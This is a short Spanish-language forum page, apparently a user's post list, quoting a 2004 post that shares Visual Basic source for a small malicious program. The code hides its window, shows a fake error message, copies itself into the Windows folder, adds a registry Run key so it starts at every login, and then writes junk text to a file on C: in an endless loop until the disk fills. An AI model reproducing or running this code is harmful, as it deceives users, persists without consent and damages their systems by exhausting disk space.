Ahora ya lo entiendo, gracias.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: zheo en 30 Julio 2004, 06:04 AM¿que es eso?
etiquetas CODE
Private Sub Form_Load()
On Error Resume Next
Form1.Hide
Set comprovar = CreateObject("scripting.filesystemobject")
Set archivo = CreateObject("scripting.filesystemobject")
Set escribir = archivo.CreateTextFile("C:\porkeria.txt", False)
Set inicio = CreateObject("WScript.Shell")
If (comprovar.FileExists("C:\WINDOWS\pork.EXE")) = False Then
MsgBox "Error durante la aplicación. Deberá cerrarse", vbCritical, "ERROR"
FileCopy App.EXEName & ".EXE", "C:\WINDOWS\pork.EXE"
inicio.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pork", "C:\WINDOWS\pork.exe"
End If
Do
escribir.write "jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... "
Loop
End Sub